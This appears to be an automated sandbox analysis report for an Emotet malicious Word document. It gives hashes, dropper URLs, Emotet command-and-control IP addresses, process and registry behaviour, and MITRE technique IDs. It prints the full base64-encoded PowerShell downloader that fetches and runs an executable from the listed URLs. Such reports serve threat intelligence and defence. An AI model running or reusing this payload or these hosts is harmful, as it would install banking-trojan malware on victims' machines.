emotet | c189d47783e317fad94867d3dda3a2cbbfba58dc3cda5f354b7f43b8d80daada

Analysis

max time kernel
136s
max time network
139s
platform
windows10_x64
resource
win10
submitted
04/09/2020, 04:27

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General

Target
REP_DPN0VZL9.doc
Size 190KB
Sample200904-3qfswc6ssa
SHA256 c189d47783e317fad94867d3dda3a2cbbfba58dc3cda5f354b7f43b8d80daada
MD5 043dc10181058e0f9f4c869ac3319a06
SHA1 9ebd03233f2a5a87c08b7cbc1dea5368af698456
SHA512 905e40be266ea5af59a99b6948da6c4926069d6eb1343f60fb6ab2cba3f0d336d5a51d5e1491fef57fc4ee6a679eb971f007e33928682d4c78630b58c535b167
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://homokfuvo.com/files/QSNUeuP/
exe.dropper
http://gforcems.it/modules/B/
exe.dropper
http://planodesaudetotal.com/erros/wUI/
exe.dropper
http://rvad.com/img/K0YvsA/
exe.dropper
http://vendasdesaude.com/erros/zyHmix/
exe.dropper
https://scenic-heap.de/_private/ZZHi/
exe.dropper
https://elektro-grell.de/cgi-bin/o8Xj1y/

Extracted

Family

emotet

192.158.216.73:80
85.214.28.226:8080
142.44.137.67:443
162.241.242.173:8080
85.152.162.105:80
62.30.7.67:443
78.24.219.147:8080
74.120.55.163:80
169.239.182.217:8080
216.208.76.186:80
95.213.236.64:8080
200.114.213.233:8080
104.131.44.150:8080
70.121.172.89:80
75.139.38.211:80
185.94.252.104:443
97.82.79.83:80
103.86.49.11:8080
79.98.24.39:8080
83.169.36.251:8080
188.219.31.12:80
74.208.45.104:8080
137.59.187.107:8080
174.45.13.118:80
194.187.133.160:443
50.81.3.113:80
201.173.217.124:443
139.99.158.11:443
68.188.112.97:80
113.160.130.116:8443
173.62.217.22:443
139.130.242.43:80
190.160.53.126:80
137.119.36.33:80
209.141.54.221:8080
24.179.13.119:80
120.150.60.189:80
107.5.122.110:80
121.124.124.40:7080
203.153.216.189:7080
157.245.99.39:8080
85.105.205.77:8080
173.81.218.65:80
110.145.77.103:80
47.144.21.12:443
95.179.229.244:8080
187.161.206.24:80
46.105.131.79:8080
189.212.199.126:443
168.235.67.138:7080
24.137.76.62:80
85.66.181.138:80
200.41.121.90:80
5.39.91.110:7080
104.236.246.93:8080
172.91.208.86:80
99.224.14.125:80
37.139.21.175:8080
109.74.5.95:8080
1.221.254.82:80
61.19.246.238:443
5.196.74.210:8080
67.205.85.243:8080
79.137.83.50:443
94.200.114.161:80
70.180.43.7:80
190.55.181.54:443
47.146.117.214:80
89.205.113.80:80
37.187.72.193:8080
84.39.182.7:80
104.131.11.150:443
139.162.108.71:8080
87.106.136.232:8080
153.232.188.106:80
37.70.8.161:80
112.185.64.233:80
87.106.139.101:8080
94.23.237.171:443
24.43.99.75:80
203.117.253.142:80
98.109.204.230:80
93.147.212.206:80
91.211.88.52:7080
139.59.60.244:8080
176.111.60.55:8080
180.92.239.110:8080
62.75.141.82:80
174.102.48.180:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1808	2976	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1808	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3632	Uwxxu273.exe
1624	CloudNotifications.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msvcrt20\CloudNotifications.exe	Uwxxu273.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 45e3d1267382d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2728	WINWORD.EXE
2728	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1808	powershell.exe
1808	powershell.exe
1808	powershell.exe
1624	CloudNotifications.exe
1624	CloudNotifications.exe
1624	CloudNotifications.exe
1624	CloudNotifications.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3828	svchost.exe
Token: SeCreatePagefilePrivilege	3828	svchost.exe
Token: SeDebugPrivilege	1808	powershell.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
3632	Uwxxu273.exe
3632	Uwxxu273.exe
1624	CloudNotifications.exe
1624	CloudNotifications.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 3632	1808	powershell.exe	79
PID 1808 wrote to memory of 3632	1808	powershell.exe	79
PID 1808 wrote to memory of 3632	1808	powershell.exe	79
PID 3632 wrote to memory of 1624	3632	Uwxxu273.exe	81
PID 3632 wrote to memory of 1624	3632	Uwxxu273.exe	81
PID 3632 wrote to memory of 1624	3632	Uwxxu273.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_DPN0VZL9.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABQAGwANgA0AHQAMABqAD0AKAAoACcAVgBlAHAAJwArACcAXwAnACkAKwAoACcAMABiACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAHIAcABSAG8AZgBpAGwAZQBcAHQAYQB5AFoAMwBsADYAXABvAG0AZgA0AEMAVgBZAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQBgAFQAWQBwAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACcALAAnACsAJwAgAHQAJwArACcAbAAnACsAJwBzADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBxAHUAcgBkADUAcgAgAD0AIAAoACgAJwBVACcAKwAnAHcAeAAnACkAKwAoACcAeAAnACsAJwB1ADIANwAzACcAKQApADsAJABKADUAeQBlAHUAaABuAD0AKAAoACcAUAA3ACcAKwAnADMAJwApACsAKAAnAF8AJwArACcAegA5ADQAJwApACkAOwAkAEMAdQAyAG8AYQBrAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AJwArACgAJwBUAGEAJwArACcAeQB6ADMAJwApACsAJwBsACcAKwAnADYAJwArACcAewAwAH0AJwArACgAJwBPACcAKwAnAG0AZgA0AGMAdgAnACsAJwB5ACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBIAEEAUgBdADkAMgApACsAJABZAHEAdQByAGQANQByACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABEADcAeQA3ADYAcQB0AD0AKAAoACcATgAnACsAJwBhAHEAMABhACcAKQArACcAcAAnACsAJwA2ACcAKQA7ACQARQBiAF8AOQBtAGsAbgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAA7ACQAVQBmAG8AbgBwAHMAdAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGgAbwAnACsAJwBtACcAKQArACgAJwBvAGsAZgB1ACcAKwAnAHYAJwArACcAbwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvACcAKwAnAGYAaQAnACkAKwAoACcAbABlACcAKwAnAHMALwBRAFMAJwArACcATgBVAGUAJwApACsAKAAnAHUAUAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwBnAGYAJwArACcAbwByACcAKwAoACcAYwAnACsAJwBlAG0AcwAuACcAKwAnAGkAJwApACsAKAAnAHQALwBtACcAKwAnAG8AJwApACsAJwBkACcAKwAoACcAdQBsACcAKwAnAGUAcwAvAEIAJwApACsAKAAnAC8AKgBoAHQAJwArACcAdABwACcAKwAnADoALwAvACcAKwAnAHAAbABhAG4AbwAnACsAJwBkACcAKwAnAGUAcwAnACkAKwAoACcAYQB1ACcAKwAnAGQAJwArACcAZQB0AG8AdABhAGwALgBjAG8AJwArACcAbQAvACcAKwAnAGUAcgByACcAKQArACgAJwBvACcAKwAnAHMALwAnACkAKwAoACcAdwBVAEkAJwArACcALwAqACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHIAdgAnACsAJwBhAGQALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAoACcALwBpACcAKwAnAG0AZwAnACsAJwAvAEsAJwArACcAMABZAHYAcwBBACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAA6AC8ALwB2AGUAJwArACcAbgBkAGEAJwArACcAcwBkACcAKQArACcAZQBzACcAKwAnAGEAJwArACgAJwB1AGQAZQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAGUAcgByAG8AJwArACcAcwAvACcAKQArACcAegB5ACcAKwAnAEgAJwArACgAJwBtAGkAeAAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACsAJwBzADoALwAvACcAKwAnAHMAYwBlAG4AJwApACsAKAAnAGkAJwArACcAYwAnACsAJwAtAGgAZQBhAHAAJwApACsAKAAnAC4AJwArACcAZABlACcAKQArACcALwAnACsAKAAnAF8AJwArACcAcAByAGkAdgBhAHQAZQAnACsAJwAvACcAKwAnAFoAJwApACsAJwBaAEgAJwArACgAJwBpAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGUAbAAnACsAJwBlAGsAdAAnACsAJwByAG8ALQAnACkAKwAoACcAZwByACcAKwAnAGUAbABsACcAKQArACgAJwAuACcAKwAnAGQAZQAvAGMAZwBpACcAKwAnAC0AYgAnACkAKwAoACcAaQAnACsAJwBuACcAKwAnAC8AbwA4AFgAJwApACsAKAAnAGoAJwArACcAMQB5AC8AJwApACkALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAGcAZQB3AG8AawA9ACgAJwBCAGgAJwArACgAJwBuAGcAJwArACcAeQB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMAGoAYwBvAHkAaQBxACAAaQBuACAAJABVAGYAbwBuAHAAcwB0ACkAewB0AHIAeQB7ACQARQBiAF8AOQBtAGsAbgAuACIAZABvAHcAbgBgAGwATwBhAGAAZABgAEYAaQBMAEUAIgAoACQATABqAGMAbwB5AGkAcQAsACAAJABDAHUAMgBvAGEAawBtACkAOwAkAFcAOABwADYAaQA3ADYAPQAoACgAJwBIADIAJwArACcAdwAnACkAKwAoACcAdAAyACcAKwAnAHAAMgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABDAHUAMgBvAGEAawBtACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEMAdQAyAG8AYQBrAG0AKQA7ACQASQA4AHcAMwB5AGYAMgA9ACgAKAAnAFMANQB4AGMAJwArACcAbQAnACkAKwAnAGsAOAAnACkAOwBiAHIAZQBhAGsAOwAkAFUAZABlAF8AXwBpAGcAPQAoACgAJwBHACcAKwAnADUANgA0ACcAKQArACgAJwAyACcAKwAnAGgAeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBnAG0AMQByADgAZwA9ACgAJwBSACcAKwAoACcAawB0AGMAJwArACcAaAA1ADAAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe
  "C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\SysWOW64\msvcrt20\CloudNotifications.exe
    "C:\Windows\SysWOW64\msvcrt20\CloudNotifications.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1624

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1624-21-0x00000000020B0000-0x00000000020BC000-memory.dmp

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memory/1624-20-0x00000000020A0000-0x00000000020AE000-memory.dmp

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memory/1808-10-0x00007FFA78F10000-0x00007FFA798FC000-memory.dmp

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memory/1808-11-0x0000017BF13B0000-0x0000017BF13B1000-memory.dmp

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memory/1808-12-0x0000017BF1560000-0x0000017BF1561000-memory.dmp

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memory/2728-3-0x00000145A6A28000-0x00000145A6A2A000-memory.dmp

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memory/2728-8-0x00000145A6C01000-0x00000145A6C06000-memory.dmp

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memory/2728-9-0x00000145A6BFE000-0x00000145A6BFF000-memory.dmp

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memory/2728-0-0x00007FFA802A0000-0x00007FFA80966000-memory.dmp

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memory/2728-7-0x00000145A6C01000-0x00000145A6C06000-memory.dmp

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memory/2728-6-0x00000145A6BFF000-0x00000145A6C01000-memory.dmp

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memory/2728-5-0x00000145A4773000-0x00000145A477C000-memory.dmp

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memory/2728-1-0x00000145A6A2A000-0x00000145A6A2F000-memory.dmp

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memory/2728-2-0x00000145A6A2A000-0x00000145A6A2F000-memory.dmp

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memory/2728-4-0x00000145A6A2A000-0x00000145A6A2F000-memory.dmp

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memory/3632-17-0x0000000002250000-0x000000000225C000-memory.dmp

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memory/3632-16-0x0000000002240000-0x000000000224E000-memory.dmp

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